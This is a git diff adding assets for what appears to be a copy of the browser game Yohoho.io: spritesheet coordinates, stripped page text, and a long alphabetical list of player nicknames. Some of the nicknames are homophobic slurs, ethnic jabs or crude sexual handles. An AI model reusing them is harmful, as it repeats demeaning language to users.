{"w":160,"h":427},"rotated":false},"p6c":{"frame":{"x":540,"y":892,"w":258,"h":307},"trimmed":false,"spriteSourceSize":{"w":258,"h":307,"x":0,"y":0},"sourceSize":{"w":258,"h":307},"rotated":false},"p6w":{"frame":{"x":802,"y":831,"w":152,"h":427},"trimmed":false,"spriteSourceSize":{"w":152,"h":427,"x":0,"y":0},"sourceSize":{"w":152,"h":427},"rotated":false},"p7w":{"frame":{"x":1365,"y":832,"w":128,"h":427},"trimmed":false,"spriteSourceSize":{"w":128,"h":427,"x":0,"y":0},"sourceSize":{"w":128,"h":427},"rotated":false},"p9c":{"frame":{"x":1402,"y":1574,"w":280,"h":344},"trimmed":false,"spriteSourceSize":{"w":280,"h":344,"x":0,"y":0},"sourceSize":{"w":280,"h":344},"rotated":false},"p9w":{"frame":{"x":1616,"y":973,"w":114,"h":426},"trimmed":false,"spriteSourceSize":{"w":114,"h":426,"x":0,"y":0},"sourceSize":{"w":114,"h":426},"rotated":false},"pet-8":{"frame":{"x":1604,"y":1403,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"pet-9":{"frame":{"x":1736,"y":1435,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"player":{"frame":{"x":330,"y":25,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"shells":{"frame":{"x":1868,"y":1442,"w":128,"h":160},"trimmed":false,"spriteSourceSize":{"w":128,"h":160,"x":0,"y":0},"sourceSize":{"w":128,"h":160},"rotated":false},"stonehead":{"frame":{"x":1197,"y":545,"w":256,"h":281},"trimmed":false,"spriteSourceSize":{"w":256,"h":281,"x":0,"y":0},"sourceSize":{"w":256,"h":281},"rotated":false},"vsplash":{"frame":{"x":385,"y":1634,"w":382,"h":284},"trimmed":false,"spriteSourceSize":{"w":382,"h":284,"x":0,"y":0},"sourceSize":{"w":382,"h":284},"rotated":false}},"meta":{"image":"spritesheet4-4.png","size":{"w":2048,"h":2048},"scale":1}} \ No newline at end of file diff --git a/yohoho/img/spritesheet4-4.png b/yohoho/img/spritesheet4-4.png new file mode 100644 index 00000000..98fdd3f0 Binary files /dev/null and b/yohoho/img/spritesheet4-4.png differ diff --git a/yohoho/img/video.svg b/yohoho/img/video.svg new file mode 100644 index 00000000..bd0b8a7a --- /dev/null +++ b/yohoho/img/video.svg @@ -0,0 +1,83 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + + diff --git a/yohoho/index.html b/yohoho/index.html new file mode 100644 index 00000000..dbd15786 --- /dev/null +++ b/yohoho/index.html @@ -0,0 +1,399 @@ + + + + + + + + + + + Yohoho.io + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +
+
+
+ + + +
+ +
+ +
+
+
+
+
How to Play
+
Collect doubloons to get bigger
+
Kill other players to collect their booty
+
Controls
+
+
Mouse: move with your cursor, click to attack
+
Keyboard: move with WASD or arrow keys, SPACE to attack
+
+
Drag with one finger, tap with second finger to attack
+
Keep attack pressed longer to focus and make a special dash attack
+
+
+
+
+
+
+
+
+
+
Loading... +
+
+
+
Island:
Tortuga
+
0
+
+ + + +
+
+ +
Start with
x2 health
AD
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
Controls
+
Drag with one finger, tap with second finger to attack
+
Keep second finger pressed longer to focus and make a special dash attack
+
+ + +
+
+
+
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + +
RecordsLastBestTotal
Kills000
Loot000
Time survived0s0s0s
+
Total Wins: 0
+
+
Your browser does not support WebGL, the game will suffer display and performance issues. Please read the help for further advice +
×
+
+
+
+ +
+
+
+
+
+
12345 Pick yer character pet!
+
+
+
+
+
+
+
+
+
+
+ Your pet regenerates: 10 Health Points/s +
Upgrade for 12345
+
+
+
+
+
+
+
+
+
+
+
"Dead men tell no tales..."
+
Ye have been killed by someone
+
+ Ye survived 1 min 13s and placed #32 +
+
Ye killed x scallywag(s) and plundered 15 +
Gain x2AD
+
+
Yer booty is now 1234
+
+
Level
+
+ Silver +
+
+
+
+ Gold +
+
+ +
Continue
+ +
+
+
+
+
+
+
Close
+
+
Play fullscreen on iOS:
+
+ Download on the App Store +
or
+
+
Add to home screen
+
+
+
+
+
+ + + + + + + + + + + + + + +
+
Google
+
+ + + +
+
Facebook
+
+
+ + + +
+
Log in With Facebook
+
+
+ Send me emails about games updates +
+ I have read and agree to the privacy policy +
+ + +
+ + + +
\ No newline at end of file diff --git a/yohoho/ndata b/yohoho/ndata new file mode 100644 index 00000000..3f08301e --- /dev/null +++ b/yohoho/ndata @@ -0,0 +1,9324 @@ +A Blitztopia +a box mester +A cHiCkEn +a duck +A fagget +A girl +a horse +A little kid +A money +A neil +A Noob +A person +A Pilot +A potato +Aa ron +aaliyahparis +Aaron +aaronj +aaronrhms +aaronrodgers +aayden +abaza +abbe +Abbi +ABBY WINS +abby +abcd +ABCDEFG +Abdalla +abdennour +ABDUL HANNAN +abdul +AbdulCurry +Abdullah +Abdulsamet +ABEL +Abhinav +abin bekir +a-bomb +Abood +above +Abraham +abram +AC ARTHUR +AchielG +Acid +acidachok +ACKACKACK +acoollname +adaa +adadad +adadada +Adahan +Adam Bomb +adam H +Adam +adampl +adamsan gel +adas +adasd +adasdsa +adaw +adaya +ADD CHAT +addawd +addison +adem +aden lachner +aden +adenmiller +ADenverMan +ADERT +adfasdf +Adfhj +adfsafds +Adidas Boost +adin +adison +adlofovargas +admin +adrew +Adrian +Adrianculebr +ADRIANNNNNNN +ADRIANXO +adriel +Adrissano +adsasd +Adsefy +adsf +adslkasd +adsn +adytta +Aedan da Man +Aedan +Aene +AESTHETIC +afds +afedermi +afido +aflockof tut +AFlyingDerp +african ayo +afrin hareka +afsdfas +AFYB ATVBKB +AG LOVE +agah +Agent +Aglayajackso +aguirre +agusin +agustin +AGVJ +ahahah +AHHA +AHHHH +ahhyeet +ahihi +Ahmad qais +Ahmad +ahmed +ahmet aga +Ahmet Mert +ahmet +AhmetReyizss +ahmett +ahtatsrqr +AHTeRmInAtOr +ahya +Aibern +Aidan RHMS +aidan +Aidanplz +Aidem +Aiden +Aiden H RHMS +Aiden RHMS +Aiden +AidenSpaghet +Aides +Aids +aikido +Aileenslime +Aimlock +aimy +ainsyani +aircontroler +Airex +airfly +Airhogs +airi +AirWolf +aistis +Aizul +AJ Shanks Yo +AJAJAJAJA +ajay +ajehdfamjkeh +ajwanrain +ajxw +aka asdasd +akannta +AKAR +akcayesmaa +AKCC +akif +Akii +Akim +akinbamya +akira +akjjas +akner +aksel +aktheman +al la boels +Alabama +alahna +alahu ekber +Alaine +alalla +ALAN SUBWAY +alan walker +alan +alanio +ALASKA +AlaskanBullw +Albin +alby +ALCON NEGRO +Alden +Aldo +Aldomian +Alebit +ALEC +Aleen +aleex +Aleix +Alejandro M +alejo +aleksa +Alena +ales +ALESSADROCHE +Alessio +Alethebest +aletol +Alex L +Alex LMS +alex noble +Alex Palomar +alex reyes +alex rhms +Alex SMS +Alex The Leo +Alex Whitney +alex +Alex.pro +Alexander +alexandre +alexei +Alexingin +alexis +alexis +alexro +alexs +Alexvasparge +ALEXWHEREUAT +ALFA +AlfaOyuncu +Alfie +Alflu +alfonso +alfre +alfredo +ALGOT +ali baba +ALiA +aliancesquar +alican +ALIEN +alina sl +Alioth +Alison +Aliyha +all noooooob +alla +allan +Allane +alle +Alleex +Allie +Ally +Allycat +Almond +almost here +alon +alondra +ALONE +AlonsoH +Alonz +Alonzo +Alper +Alperen +Alpha Bravo +ALPHA +AlPikaPool +alpopo +alsaibi +Alsee +Alston +altay +Altice One +Alucard +Alvan +alvarichi +AlvaroGamer +AlViN +Alykard +Alyssa +Alyssaaa +Alzubar +AmandaCheswo +Amatex +amauri +amazing +amazon drone +Ameer +amelia +Amer +AMERICA ME +America +american +Amethyst +amgie +Amie +AMIGODOGEOVA +amir r +amiral +amire +amk mehmet +amlaamlaamla +AmmaKillYou +ammar +ammazingguy +Amsam +amsrsca +AMT FOREVER +Anan XD +anan +ananana +ANANANAN +ananasdasd +Anand +Anand +Ananizi sakl +ananki +Anann +Ananymustafa +ANAR +anarchy +Anas +anay mouse +anderson +AndferShadow +andika +ANDOO +andre +Andre and ww +andre nori +Andreas +ANDRES SLAYE +Andres +andrescon +andreszz +Andrew +andrew bises +Andrew Hill +Andrew RHMS +andrew +andrewbisear +AndrewRajiah +AndrewTick +Andrewwins +andrey +andreyandrey +Android +Andy +angel +angelo +anhlavodoi +anikilador +ANIL +anima +Animal +Anime Aryam +AnimeHater +Aniya +anjya +anka +anlym +ANN GUNTHER +Ann Kate +Anna banna +anna kate +Anna simek +Anna +Annabeth +annen +annie +anoes +anomalieGT +Anonymous +ANONYMUS +aNoobLol +Another One +answer +Antho +AnthoGamer +anthony +Anthony b +Anthony +anthonysauce +Anthoy +anti +ANTI-BEAN +anto +anton +antonio +Antonip +Antony +Antwan +Antwane +Anty +Anvel +aoao +APACH +apache heli +apache +ApacheGender +APACHEHELE +apiant +APieceOfSeck +Apieceofshex +APLE RACING +APODosap +Apophis +Apple +AppleGaming +applepie +Apples +Applesarelov +Apranax +APUSH +AQUAMAN +aquazas +ar rucker mi +Arabic +arava +araz +Arbitr +ARC Trooper +ArchAssassin +arda eren +arda +ardasalo +Arduous +Arena CIsoer +arena close +Arena Closer +Arena pro +ArenaCloser +Ares +ARETY +arga +Argentina +Argo +Arian +Ariana +Arianna +ariciu +aries +arif +arip +aris +ariy +arjen +Arkan +Arlequina +ArliaPRO +armando +Arment +armis +Armored +armstead +Army war +ARMY +Arna +Arnass +Arno +Aron +Aros +arre +arronburrsir +Arrow +Arsa +Artanis +artem +Arthur +artiom +ArtsGirl +Arty +ArtynY +arya +ASESINO +asfa +ashaboi +Ashfaq +ashkachem +ASHKATSUP +Ashley +ashlin +Ashot +Ashton +ASHuit +asian kid +ASIAN PEEPS +ASIAN PEOPLE +AsianBlackDE +ASIANMAN +AsiCaptan +asiLukystar +asimov +aslanbera +Asnodo +ASOTM +Aspen Quinn +assa +assassin +asssin +Assssznee +aster +AStrangeKid +Astrid +asuman +aswd +aSZfryt +at school +ATADAM +Ataion +atak helicop +Atakan Arsla +Ataqan +ATL HAWKS +Atlas +Atom bomb +Atom +Atomic +AtomicZero +attacc heli +Attack Helli +attack +AttackHeli +Atticus +AttomicP +atuamae +aubrey +AUDIOS +Audrey +ausans +AussiePing +austin +austin john +austin +AustinRHMS +Austoniyo +autin +Autism power +autism +AutynCz +Average joe +AveragSavage +AVERY +Averyfromsch +Avocado +Avro +AVSEQHFSLast +Awazhulgurke +awazki +awef +Awesome guy +awesome kid +Awesome +Awesomeness +awesomeness +awesomesauce +AWEzOME +awkward +awsd +Awsome +Awsomeness +Awson +awww +axel millan +axel mtz +Axel +AxFez +axlexander +Axxel +Ay LMAO +ayana +ayberkgs +aybo +ayden +AyeeFabian +ayman +ayoub +Ayreee +Ayucuk +AZAD +AZAMAT BRAT +azatalan +azdazd +azer +azerbaycan +AZERI +aziyr +aziz arda hd +Azpect +Azpect-Jose +Azrael +azriyel +Aztec +Azuki +AzureRathlos +azzy +Azzyland +b Dinis Pala +b rice +b vhbfobngou +B.Brady +Ba Cristi +baad +baba penka +baba yorgun +baba +BaBaaaa +babababababa +babaenes +baban +babapro +babdoutrista +BABE TAY TAY +Babisaac +Baboon +Baby Boo +baby +BabyBerry +BABYFACE +Bacilich +Bacobo +Bacon +Bacon +bacooooon +Baculum +bad brenda +bad ping +badass +BADCOP +Baden +Badger +badgodslayer +BadKidney +badmode +badobatu +BADY SNAKE +Bafbi +Bafelka +Bagben +Bagel +BaggedUpC +bah bah +baha +Bahn Mi +Bailey +baileyGrace +Bait +bajik +BAKA +Balaboo +BalakeSimpz +bald bunny +Balenciaga +Bali +Baljeet +ball +Balla +BALLEN +baller +Baller +BALLS BALLSS +balls +Balok +Balux +bam bam +bambam +BANAN +Banana Dance +Banana Jesus +banana peel +banana +bananananana +bananna +Bancroft +bandyta +bang bang +BANHAMMER +Banik +Banis +bannana +bantikat +baobaobenjam +barab +baran +baranthebjk +BARAY +BARBAR CONAN +BARDOWNSKIJA +bark bark +barkok +barlas +Barlos +Barney +Baronfan +Baroque +Barramaster +barrett +Barry Benson +bart +bartek +Barto +barton +Base Destroy +base mite +basescu +baseterorist +BasGamezYT +BASIC BETCH +bat man +BATBOLD +batman +Batowl +Battle royal +Battlecopter +batu +BaTuBer +Batuman +Baturalp +baturay +batututu +Bauke +BAWAHAHA +Baxan +Baxd +Baxl +Baxtard +Baxtrix +bayan +BayAreaBuggs +Baylor Yost +Bayram +bayu +bazzer +BB gang +bboss +bbygirl +BCHANG +bdog +bdsgasdgsag +BE DONE DEAD +be my partnr +beach boy +bean +Beandog +beaner +bear +beard +Bears +BEAST BOY +beast man +beast mode +beast +beastezek +Beastly +Beastmode +Beatles +beau rhms +beau +bebe +Bebo +Beckham Bagl +Beckham +BeeBeeBoBo +BEEF MCGY +beef +begon thot +BEGONE THOT +Behzad +BeJlka +bekoo +belandiom +Belarus +bell +bella +Bella.S +BELLE +bemer +ben eren +Ben is Beast +ben its dom +BenD +bendaz +bender +bendr +BENDY +bene pasta +Benfxpro +beni +Benis +Benjamin N +Benjamin +benjiBZ +benjo +benndaben +bennett +Benny +Bennyboi +Bennyboy +BenReysex +Bens +benthepalla +BenyFTW +Benz +Bepis +beqo +BERAT AKG +berat +beray +bercer +beri +berkan +berkay +berkcan +Bernardo +berndaha +bert b +bert +Berto +BESIKTAS +bester +BESTHOLYMYTH +Bestroyer +Bet your mea +Betaa +BeTheCopter +Betrayal +BETTER THANU +beyza +Bglarg +bhaa +bhgio +bianca bark +bianca +bibbobmcgee +bibby +big baller +big benisboi +big boi dad +Big Boi +Big bolas +BIG BOSS +big boy +Big Bread +Big Daddy TJ +Big Daddy +BIG DEEEEE +Big Dig +big dong +Big Dream +BIG HOUSE +Big Jack +BIG MIKE +BIG NOOB +BIG PAPA +Big Papi XV +big papi +big play +Big pump +BIG SHAQ +big show +Big Smoke +big turds +BigBadOscar +BIGBALLS +Bigbear +bigbody +BigBoi +BIGBOITHICCC +bigboy RHMS +bigboy +BigCopterBio +bigdad +bigdaddy +BigDaddyChee +bigE +bigfella +biggerthan u +biggesmalls +biggest dady +Biggie Chees +bighenry +Bighero +BIGLOBSTERS +BigMac +BIGMIKE RHMS +BIGRIG +BigShack +BigSunnyD +BigUpZz +bigwang +Bihanjo +biibly +bik daddy +BikiniBodhi +bilal +BilBobJoe +Bilby +Bill Cosby +Bill Gates +BILL +Billie Playz +Billoniyo +Billy Bob +Billy da Boy +Billy Morgan +billy +BILLYBOB +Billybobjoe +bima +Bin veter +bine +bing bong +biobuilder +Birb +Bird sans +bird +BIRDMAN +Biri +bisan +BITCOIN +bjkandy +bjudd +bkeckler +bla bla bla +BLACK DORA +black goku +Black Hawk +Black Hole +black j +Black Jesus +black magic +Black Panthe +Black +blacka +Blackattack +blackboi +Blackfire +Blackhawk +blackops +BlackPanther +Blackpocket +BLADDY +blade +Blagfang +Blah Blah +blahp +Blaike Ethan +blake +blanca +Blank +blanquita +BlanTheMan +BlastMan +Blavic +Blayne +blaze +Blazecan +Bleach +bleeddestroy +bleh +bleke +blend +Blert +blibidlyblob +blits +Blitz fan +Blitz +blitzed +BlitzFan +bliz +BLKavarice +Blob +blobface +blobfish +Blood Girl +Blood +BloodDrake +BloodHunter +bloop +blop +blstominer +BLUB +Bluduckie +Blue Berry +Blue Blaze +blue guyyy +Blue Hawk +blue one +blue thunder +blue +Blue.io +blueberry +BlueBully +BlueIsABoyBl +BlueJay +bluekirbyYT +bluesclues +Bluesky +bluesplosion +bnvjif +Boatwhistle +Bob da bomb +Bob JR +bob plane +BOB SAGGET +Bob the buil +BOB XIII +bob.io +Bobberz +Bobbie +Bobbie +Bobby +Bobby +Bobcat poo +BOBDABUILDER +bobenn +bober +Bobert +bobi shobi +Boblawlaw +boblessssss +bobo et xav +BOBO +boborpl +BobRoss +Bobulider +boby bob +boby +Bodee +body man +Bogdan +bogdyy +bogdyz +bogus man +boi kingdom +boi nug nug +boi nugget +BOI WALUIGI +boibattleme +Boii +boiii +Boiiiii +Boiiiiii +Boiiiiiii +boimann +Bojty +BOKA +boktan io +bokusu +Bolas +Bolls +Bolt +bomb +bomba +Bombhead +bombydru +bomk +BomKadaBom +Boncoo +Bond +bone +Boned +BoNeS +Bonezone +bong flied +Bonger +bonjour +Bonkconnect! +bonnie +bonzoirTmort +boob +boobies +BOOBOOChickn +BOOBY +BOOF +boogier nose +boohda +boolean +BOOM SHACHA +BOOM +boomernjj +boomsbud +Boonk Gang +boonk gang c +boonkgang +boooot +boooty +boop +BoopDaKarter +boos +Bootstrap +Booty Head +booty +BootyBandit +Bootyblast +bora +boran +borax kkkill +bordo bereli +bored +borf +borko +BORZAI +Boslord +Boss boi +BOSS +bossanite +Bossbeastly +bossjziggy +Bossman +Bossul mare +Boston +bouche +Boundlessorc +bounty hunt +bowman +BOX gun +boyoh +boyz +BozKurt +Brad Englund +BRAD +bradan +Braden WFMS +braden +Bradentheman +Bradin WFMS +Bradley +brady +Brady Bidzil +brady +bradzilla +braiden +brain cell +braindoktor +Brandon +Brandon g +brandon p +Brandon +brandonburre +brave +braxel +Braxton +Brayan Smith +brayan +Brayden Duma +brayden hhhh +Brayden RHMS +Brayden WFMS +Brayden +braydon +Braylan +Braylon +brays jawn +Bready +BREAM +Breana +bree +breelyn +breh +brems +brenda +Brendan +Brenden +breni +brenna +Brennan +brerat +breton +Bretos +brett +BRIA +Brian BSS +BRIAN COOK +brian ELM +brian herb +Brian HHS +brian +brian.c +BrianKaiser +brianna +brianna +brickarot +Brickster +Bricky Boi +Brile +brino +brittanie +bro py +Bro Team +brockettrulz +Brodito +Brodster +Brody +broex +Brometheus +Brooke +brooklyn +Brown +Broza +BRS PRO +bruh itz me +bruh +Brumik +bruno +Brununo +bruv +bryan +bryan +bryanpapu +BRYCE +BryceHereOof +brylle +bryn +Bryson ELM +Bryson +brysontapley +btrain +btuhbv +Bubb +Bubba +Bubbaman +BubbleNugget +Bubbles +Bubblz +Bubda +Bubs +bubububububu +BuBz +buck +Buckaroo +Buckshot +Bucky +Bud Knight +bud lite +Buddy +Buenos +Buex +bugal +BUGATTI +build build +builder +BuildInPeace +Bulan +bulut +bumble bee +bunghole +bunirabbitt +Bunt fut +burak +burak baba +Burak +burakenes +burapa +burhan +Burn and die +burningskull +Burrito +Burt +burzon +bush +BushGod +Busta Rhymes +Bustamonte +buster +BUTUK +buubua +buuter +buutttbdjcnd +BUUUUUUUU +BUZIKVAGYTOK +buzna +buzz +Bwrrap +bye bye +bye to base +Byeeeeeeee +byeeter +Byron +BysuskunGG +byzatines +bzyaa +c papee +cabecinha +caca +Cacatuareal +cacti +cactus +Cade +Caden Davis +Caden tiz +caden +CadenK +Cadester +caed +Cafoodles +cagdas +Cah-ee-lion +caia +caiden +Caillou +cake +Cakeishgamer +caku +Calculus +Caldb +caleb +Caleb K +Caleb ninja +Caleb +callie +calliuo +Callum BZ +Calvinist! +CamariXI +camboy +Camden RHMS +camden +cameron +Camii +camilo +Cammie +camnewton +Camo +Camper +camreen +Camriod +camron reezy +Can Man +CanaAlberona +Canada +canadia +Canadu +canadwolf +canaslann. +CANCER +cancercanine +Canda +cands noktis +Candy +candyland +CandyMan +Canine +caniplay +canman +cano +cap cj +CapitaineG +Capitan +CapitanLorel +capricorn +Captain Anal +CAPTAIN JEFF +CAPTAIN +Captaingubby +CAPTAINTACHA +captdiabetes +Captgoldfish +Cardi B +cardi +Carissa +CARKUY +carl kern +carl +Carlett +carlito +carlos +carlos.sans +Carlosavalos +carlynn +carmelo.lol +carmen guuuu +carno +caro +caroline she +caroline +CARSON +Carson +carsonMSDYER +carter +Carter H +carter jenks +carter maple +Carter Rhms +Carter +Carver +casey exe +Casey +Cash +cason +casper +Cat BaNdiTo +Cat Man +Cata +catalin.mess +catcacatca +catcher +catdaddy +caterpillar +Catfat +CatNip +cats +caveman +cavs +cayden +caylenisdumb +cbobb +ccagg +CCATTee +ccece +CCOLE +CDCGames +CDOG +Ceapa +ceaules RO +cece +cece.bxbyyy +Cecilia Del +celil +Celt +cemal +cemil +cemkaracam +cereal killr +cerealwizard +cesar +cfvyiu +Chad +ChadNovicky +Chainsaw +chali +Champ +champion +Chan +Chance +CHANG +Chaos +Chaotic +CHAPPA +char char +Char +charbel m +charizar +Charlaotte +Charles lms +Charles +Charlie Rhms +charlie +Charro +Chase is wet +chase +chasen +chassssse +chau +chautoan +chava feel m +chay +Chazzy RHMS +Chazzyrhms +Check it out +cheeese +Chee-ez +cheerleader +Cheese Puffs +CHEESE QUESO +cheese +cheeseazz +cheesecake +Cheesecake +cheesesquish +cheeto +CheetosXDl +cheeze +cheezzzzzz +Chef BOyarde +Chefestero +Chelsea +Chelsea +Chenkov +Cherry +Cherubin +Chewii +Chewy +chhheeaeaerg +chica +chicken +chicken +chicken.nug +chickenggg +chickenlover +chickenstrip +chickenugger +Chief Hopper +chief wahoo +chief +chiieken +chiken +ChikenNugget +Child +chill +Chiller Ice +Chimichanga +china +China +Chinagin +ching +chinko +Chino +Chipixsito +Chipo +chipy +Chiuhuahua +Chivo +Chloe +Chocolate +ChokeMeDaddy +Chooper +chop it like +ChopChop +choppa +Chopper +Choppy +ChopRaider +chozen +chra-suchara +Chris Brown +chris kilgor +chris rausch +chris +ChrisGamer +Christian +Christopher +ChronoSlayer +Chrysopras +chubbs +chubbus +chubby chubs +ChubbyPanda +chuck norris +chuck +Chuck +chum +chunjama +Chunky Ragu +Chunky +chuy +CIAN +ciao bella +Cicasarkany +cieara +cigi +Cihan +cihangir +ciky +cina +Ciocomel +citrus +Cjtheman +Clark +Clashio +classified +clayton cam +clayton lee +Clayy +cleaner +ClearHercule +clearly meee +clint +clonix +Clova +cluckforquee +CNCOWNER +cnivek +co jee +Coach Boone +Cobra +CobraStylZ +Cobrojed +cock hero +cockadooldle +COCO SANTI +coco +cococo +cocococo +cocoer +CocoJens +coconut +cocosao +cocosha +codemann +Codenameloli +coderoisin +codney +Cody +codyfish +COEN +Coffee pug +COFFI +CoFlex +coie +cojo +colbert +colby wrfms +colby +ColbyDolanYT +COLBYISAFAG +colbyn +Coldblooded +ColDor +cole L rhms +Cole RHMS +cole +Coleman +COLEMANSTEW +coleslaw +colil +COLIN V +colin +Colin +collin tidep +CollinD +colombia +colombo mano +Colston +Colt +colten +Coltin +colton m +Colton McD +coltoncraig +comandante +ComClix +comeatmeboiz +comeon +COMERE BOY +commander +Communism +CONAN +CONCRATE +condor +Conflict +Confucius +Cong +Conner +Connor Ginge +connor +ConQ +consti +Consu +controler +cooker +cookie guy +COOKIE +CookieNinja +cookies king +cookies +CooKoo +cool boy +cool bro +cool brycen +cool cooper +Cool dude +cool girl +Cool ice +Cool Kid +cool person +Cool +CoolAxe +coolboi +coolcool +coolerMod +CoolGuy +coolkid +coolkidssucc +COOLKN +coolman +coolplayer +cooper cool +Cooper manly +Cooper +CoopersWorld +Copopa +Copper +copter harry +copter +Copterino +corbin +corbu +corey dang +Corinne +Corn Maker +Corndog +CORNELIUS RO +Cornhub +Corp +Corrupt X +CorruptX +COSMIC CLASH +COSMICY DUDE +Cosmin +cosmindok +cosmonaft +costel +cotne +Cotton candy +Cotton +cows pickels +cows +C-pher +Crab +crabinator +Crackerz +cracr +Craftmaster +CraftTeam +Crafty +Cranial Bone +crapyonease +Crash +CrashNMyLine +crater +Cravaxe +Craze +Crazy Jeff +crazy +Crazyflame +Crazygunner +CrazyHAMster +CrazyKylo +crazymonky +CrazyRick +creative blu +CREED +creedon +CREEP +creeper +Creeperboy +Creepo +Crimson +Crin +CringePolice +cris +CrismaxX +Crispy +CrispyPotato +crist +Cristiand f +cristianrios +crls esteban +CropeScope +cross +Crostfight +CroW Pasta +Crowley +crusher +crust +Crusty balls +Cruz +Crxzy +Crystafer F. +crystal x +Crystal +CtopToo +CUBA +Cubes +cucea +cucklord +cuhegh +Cullen +culooo +CUMTON +cupcat +Curry +Curtain +curtis timko +CuShin +cutatohoncum +cute +CyanGhostYT +cyber Perry +Cyguy +Cyka blyat +cykaaa +cz best +Czajnik +czaszka +CZpepe +D master +da beast +da beastt +Da Best +da boi +da bomb +DA BOSS +da cat +Da Choppah +da flash +Da Fly +Da goat +da one +da pug +da queen +da sheep +da wae +Da Way +da wey +DAAAAAAVID +Daan +daawdss +daawww +Daba ranch +dabababab +dabast +DabbinMitch +DabCat +DaBeast +Dabellaboo +dabest yea +dabing +daboss +DabPolice +DachshundLuv +dada +dadad +dadadadadada +dadas +Daddi +Daddio +DADDY BRIAN +Daddy dildo +DADDY EDDY +DADDY GIB +Daddy home +daddy jessie +DADDY +DaddyCopter +DaddyDayCare +DADDYDERIC +daddyjr +daddymanboi +daddymcdads +dads +dadw +Daequack +daesy +daev +dafaafa +Dafffffaaahh +daffierdegre +DafreidemeGD +Dafreidemes +Dafricccz +Dagger +DAI PRO +daisuke +daisy +DaJackob +Dake +dakels +DaKlasher +Dakoda H +Dakota A +Dakota Clark +dakota +Dakota +Dakver +DaLana +dalaney +dale +Dallas Texas +Dallas +dalton +dame chocha +damian pl +Damian Veneg +Damian +Damiano +daminko +Damnn Daniel +damon +DamonYT +Dan Held +dan tdm +dana +danayous +DANCER +Dancing star +dandule +dandys +dane +dangel +Danger +dangernoodle +dangerousman +dango +DANI +daniel elm +Daniel M +Daniel P ELM +Daniel p +Daniel PERU +daniel +Daniel +DanielBois +danielhudelm +danielle +danieltms +daniil +danil +Danis +Danizbezt +Dank meme +Dank Memes +dank +Dankestdoor +DANKILLER +Dankster +danny boy +Danny +danq +DanTDM +Dante +dantearmydud +Dantore +Danu +Daphne +DAQUEEN +DAR.IO +Dara +darari +darcy +darfeed +daria.io +Darius I +Dariusromanu +dark helmet +Dark matter +Dark Mattre +dark wolf +dark +Darkdrone +Darkfartfly +DarkFury +Darkiplier +DarkLollypop +Darkness +Darkota +DARL +DARLA G +DarLend +darling +darney +darren +Darth Vader +DARTH VATOR +DarthMaul +Daryush +dasak +dash +Dasher +Dashie +DaShKa +Dasin +dastinplayz +DAT BOI +dat boidat b +DAT BOIII +Dat flier +datassisfat +datboi +datguy +DathBane +DatOneWeeb +Datricha +dav ham +dave dave +dave +davi +david bowe +david brunz +David Cruz +David D rhms +David hi ZRA +David +David.pena +davidangelo +DAVIDDDDDDDD +Davidouman +Davids Daddy +davion +DAVIS +dawae +DaWarden +dawayknowsme +dawd +dawdaw +dawdedaw +dawg +DAWGON +Dawson RHMS +Dawson +Daxera +Daxid HHS +Daylee +dayten +daytron +dbarkz +DBIS +Dbook +dboy +dcerezo +ddaw +dday +ddede +ddog +DDotty +De boom bomb +de boss +De Flei +de heli wae +de jun +de mon +de wae +De Way +de zzzz +Dead Inside +DEAD MEAT +dead meme +dead +DEADEYE +Deadly Amigo +DEADLY FURY +deadpool +deadshoot +Deadwalker +Deaf Fly +Dean +Deanna +dear +death gun +Death lock +death rainer +death roader +death strike +death wing +DEATH +deathbyurmom +Deathly +Deathoir +deathstroke +DEATHY +deborah +Debunked +Decameron +DECIETER +ded ded +ded memes +dede +dEDI +DeEdrick +deeee.io +deenneme +Deeply.io +Deepthourfly +DeEz NuTs +DEEZ NUTZ +DEEZnuts +DEEZNUTZ +DefaultNinja +DefensiveTag +DeFlier +defna,a +DEHNC +Dejangaming +DeJaVuBro +dejv +dekly +dekoda +delaney +delanie +delkeene +delo +Delton +delwa +demaskinoss +Demi +demigod sol +Demikian +demitra +Demmemestho +demolition +demon +demonbread +DemonikB +demonking +den pro +denipro +Denis Gaming +DENIS +DenisTube +deniz +denizkoyuncu +Dennis +dennyse +dennythebeny +denobaba +Dentenoe +Deny +deorCZ +depaz +dequavis +DERCK +Derek +DerfPL +derick +derik +DERINSON +Dermoon +derp herp +DERP +derpaherp +derpls +DerpyDoge +Derpz +DerrickGamer +Derrik +Des nuts +desean +Desertion +desil +Desiray +Desmond +desructor +Destro +destrojer +DestroPRO +Destroy +Destroyer +DESTROYER +DESTRUCTOR +Desty +deswita +detfryyui +deth +DetrioX +Deuce rhms +Devbo +Devil Plan +Devil +deviledegg +DevilGrass +Devin +devion +Devisian +devon rhms +devon +devonte +devony +DevOOOOOOOON +dewfdes +DeWolf +dewott +dewunodeway +dexter +Dezaris +dezzz nuts +dfawerfaer +dferg +dfgeag +dhall +Diabolical +Diamdiam +DIAMOMD +diamond +diamondlaser +Diamondplayz +Diana K +Diana +Diarmondis +dias +diaspora +dibs +DICE +didi +dido +die aidan +die die die +DIE POTATO +Diegi +diego +diegoxz +diein a hole +DIEO +Diesel +Diezal +Differ +Difoxty +Digan +digbick +digglet +dik cheese +dikei +diki ganteng +dilanlol +Dild +dilik +Dill Pickel +Dill Pickle +dillbuds +Dillon RHMS +Dillon +dilly dilly +dilly w RHMS +DIMA DASIK +dima +dimaha +Dimon Play +DIMON +DInglechalk +Dingus +dino tm +Dino +DINOCHEZ +DinoHugger +DINOSAUR +dinosaurus +DinoTim +DIO BRANDO +dio musso +Dio Porco +Diogo +Dirt man +DirtyBit +disbruh +Discord +dishwasherXD +dislexia ult +ditter +Ditto +DiUKnoDaWae +DixDix +Dixisman +Dixon +dj calen +DJ DA DWEEB +dj shit +djcolbert +DJDerick +djnappy +DJTheGreat +dking +dlab +dleaski +DMOXI +dno ksa +do not touch +Dochann +DOCTOR WHO +DoDo +DODODODADORA +DODTECH +dofus +Doge Bob +Doge Poop +doge +dogeoverlord +Doggo +dogo +dogy 